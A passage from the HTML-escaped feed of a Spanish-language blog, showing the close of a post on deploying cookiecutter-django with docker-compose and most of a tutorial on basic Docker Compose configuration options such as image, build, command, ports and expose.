style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora levantemos los servicios y corramoslos en modo detach, con la opción &lt;em&gt;-d&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml up -d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si requieres hacer una migración recuerda que usamos el comando run con el nombre de nuestro servicio y el comando a ejecutar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ten presente que debes crear un super usuario también.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml run --rm django python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si algo salió mal puedes ver los registros de todos los servicios usando el comando logs&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no tienes errores ya podrás acceder a tu sitio web a través de tu dominio.&lt;/p&gt;&#xA;&lt;p&gt;El siguiente paso es agregar nuestro servicio a algún controlador de procesos, para que se inmune a reinicios, puedes usar runit, sysinit, supervisord o el odiado systemd, cada sistema es diferente y preferencias hay muchas, por lo que no ahondaré en ello aquí.&lt;/p&gt;&#xA;&lt;p&gt;Teóricamente puedes realizar este procedimiento en cualquier PAAS, tal como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/&#34;&gt;Digital Ocean&lt;/a&gt;&#xA;, Linode, etc. Yo he hecho el procedimiento usando un Droplet de Docker en Digital Ocean y ha salido bien. El autor tiene instrucciones para otras plataformas que puedes consultar en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://cookiecutter-django.readthedocs.io/en/latest/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de cookiecutter-django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Visita mi siguiente entrada, donde hablo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;de uno de los frameworks más nuevos de Python para crear APIs&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Escribí las entradas anteriores como una introducción para el tema de esta semana. En esta entrada voy a explicar sobre una herramienta genial para Django llamada cookiecutter-django, que traducido significa &amp;ldquo;cortador de galletas django&amp;rdquo;. Esta herramienta para django permite generar proyectos que integren docker, celery, mailhog, aws, gcp, y muchas otras herramientas, de una manera automática, con solo contestar una serie de preguntas.&lt;/p&gt;&#xA;&lt;p&gt;Esta herramienta usa docker para hacer más sencillo el proceso de desarrollo y deploy de una aplicación de Django. Además fue creada por uno de los escritores del genial libro Two scoops of Django, del cual tengo una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/&#34;&gt;reseña de Twoo scoops of django&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Conoce los comandos básicos de Docker Compose</title>
      <link>https://coffeebytes.dev/es/docker/docker-compose-tutorial-con-comandos-en-gnu-linux/</link>
      <pubDate>Wed, 14 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/docker-compose-tutorial-con-comandos-en-gnu-linux/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Docker compose nos permite crear aplicaciones con múltiples contenedores, estos contenedores interaccionarán y podrán verse entre sí. Para configurar cada uno de estos servicios usaremos un archivo en formato YAML (también le dicen YML). En este tutorial de docker compose te muestro algunos de los comandos más usados y lo que hace cada uno.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres refrescar tu memoria visita mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;tutorial de comandos básicos de Docker.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://m.do.co/c/a22240ebb8e7&#34;&gt;&#xA;    Si quieres hostear una aplicación usando Docker o Kubernetes de manera económica checa Digital Ocean, puedes tener un VPS desde $4 usd el mes.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-docker-compose&#34;&gt;¿Qué es docker compose?&lt;/h2&gt;&#xA;&lt;p&gt;Docker compose es una herramienta que te permite manejar aplicaciones que consisten en multiples &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/&#34;&gt;contenedores de Docker&lt;/a&gt;&#xA;. En lugar de tener múltiples Dockerfiles y estar ejecutando y vinculando uno por uno con Docker, definimos un archivo docker-compose.yml con la configuración que deseemos y lo ejecutamos, esto creará todos los servicios necesarios de nuestra aplicación. Además funciona en ambientes de desarrollo, producción, staging o testing, así como con servicios de integración continua.&lt;/p&gt;&#xA;&lt;p&gt;Docker-compose está programando usando el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;lenguaje de programación go o golang&lt;/a&gt;&#xA;; el mismo con lenguaje con el que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/&#34;&gt;funcionan internamente los containers de go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;estructura-de-un-archivo-docker-composeyml&#34;&gt;Estructura de un archivo docker-compose.yml&lt;/h2&gt;&#xA;&lt;p&gt;Así como existían los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/como-escribir-un-archivo-de-dockerfile-desde-cero/&#34;&gt;Dockerfile en Docker&lt;/a&gt;&#xA;, donde configurabas el estado de un contenedor de manera declarativa, en Docker compose existe un equivalente: los archivos yml.&lt;/p&gt;&#xA;&lt;p&gt;Antes de empezar con los comandos vamos a explicar la estructura de un archivo de configuración de docker-compose y algunas directrices comunes.&lt;/p&gt;&#xA;&lt;p&gt;Un archivo de docker-compose es simplemente un archivo con extensión y formato yml. Para usarlo basta con crearlo y empezar a agregar el contenido.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch docker-compose.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Estos archivos yml son increíblemente sencillos de entender.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  nombre_del_servicio:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    variable_de_configuracion:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      valores&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    variable_de_configuracion:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      valores&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  nombre_de_otro_servicio:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    variable_de_configuracion:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      valores&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Un archivo de docker-compose empieza &lt;strong&gt;especificando la versión de docker compose&lt;/strong&gt; que se utilizará. Para este ejemplo usaremos la versión 3.8.&lt;/p&gt;&#xA;&lt;p&gt;Después de la versión vienen anidada la sección de services. Puede haber tantos servicios como querramos; framework web, servidor web, base de datos, documentación, cache, etc. Cada servicio contará con sus propias variables de configuración y sus respectivos valores. Es todo, así de sencillo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-referenciar-nombres-de-servicios-en-docker-compose&#34;&gt;Como referenciar nombres de servicios en docker compose&lt;/h3&gt;&#xA;&lt;p&gt;El nombre que usemos para cada servicio en nuestro archivo yml nos servirá como una referencia para su uso en otros servicios.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, si un servicio se llama &amp;ldquo;&lt;em&gt;db&lt;/em&gt;&amp;rdquo;, es este el nombre que deberemos usar en otras aplicaciones para referirnos a un host o ubicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py en Django&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HOST&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;db&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;opciones-de-configuracion-en-el-archivo-docker-composeyml&#34;&gt;Opciones de configuración en el archivo docker-compose.yml&lt;/h2&gt;&#xA;&lt;p&gt;La personalización de un archivo docker-compose.yml depende de sus opciones de configuración, estas le dirán a cada uno de los servicios como comportarse.&lt;/p&gt;&#xA;&lt;p&gt;Hay muchísimas variables de configuración, que puedes consultar en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.docker.com/compose/compose-file/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de Docker.&lt;/a&gt;&#xA; Para que no tengas que leerlas todas dejará algunas de las más importantes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;image&#34;&gt;image&lt;/h3&gt;&#xA;&lt;p&gt;La configuración image establece la imagen a partir de la cual se generará el servicio, ideal si nuestro servicio no necesita personalización muy complicada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;services:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  db:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image: postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;build&#34;&gt;build&lt;/h3&gt;&#xA;&lt;p&gt;En el caso de que necesitamos una imagen personalizada probablemente será mejor usar un Dockerfile. La opción build nos permite indicar el directorio donde este se encuentra.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  webapp:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: ./ubicacion_del_Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;context-y-dockerfile&#34;&gt;context y dockerfile&lt;/h3&gt;&#xA;&lt;p&gt;También podemos escribir un Dockerfile personalizado, en lugar del predeterminado, especificando en context el lugar donde se encuentra y en dockerfile su nombre. Esto es bastante útil pues nos permite especificar diferentes archivos para producción o para desarrollo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  webapp:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      context: ./ubicacion_del_Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      dockerfile: Dockerfile-personalizado&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;command&#34;&gt;command&lt;/h3&gt;&#xA;&lt;p&gt;Command sobreescribe el comando predeterminado del contenedor. Esta opción es ideal para ejecutar un comando cuando inicia un servicio, por ejemplo un servidor web.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ports&#34;&gt;ports&lt;/h3&gt;&#xA;&lt;p&gt;Ports nos dice los puertos que expondremos al exterior y a cual puerto de nuestra máquina se vincularán, siempre en el formato de HOST:CONTENEDOR.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;80:8000&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el código de arriba el puerto 80 de nuestra máquina se corresponderá con el puerto 8000 del contenedor. Recuerda, HOST:CONTENEDOR.&lt;/p&gt;&#xA;&lt;p&gt;También podemos especificar el protocolo udp o tcp.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;80:8000/udp&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;expose&#34;&gt;expose&lt;/h3&gt;&#xA;&lt;p&gt;Expose también expone puertos, &lt;strong&gt;la diferencia con ports es que los puertos solo estarán disponibles para los servicios vinculados,&lt;/strong&gt; no para la máquina desde donde estamos ejecutando docker-compose.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  redis:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: redis&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    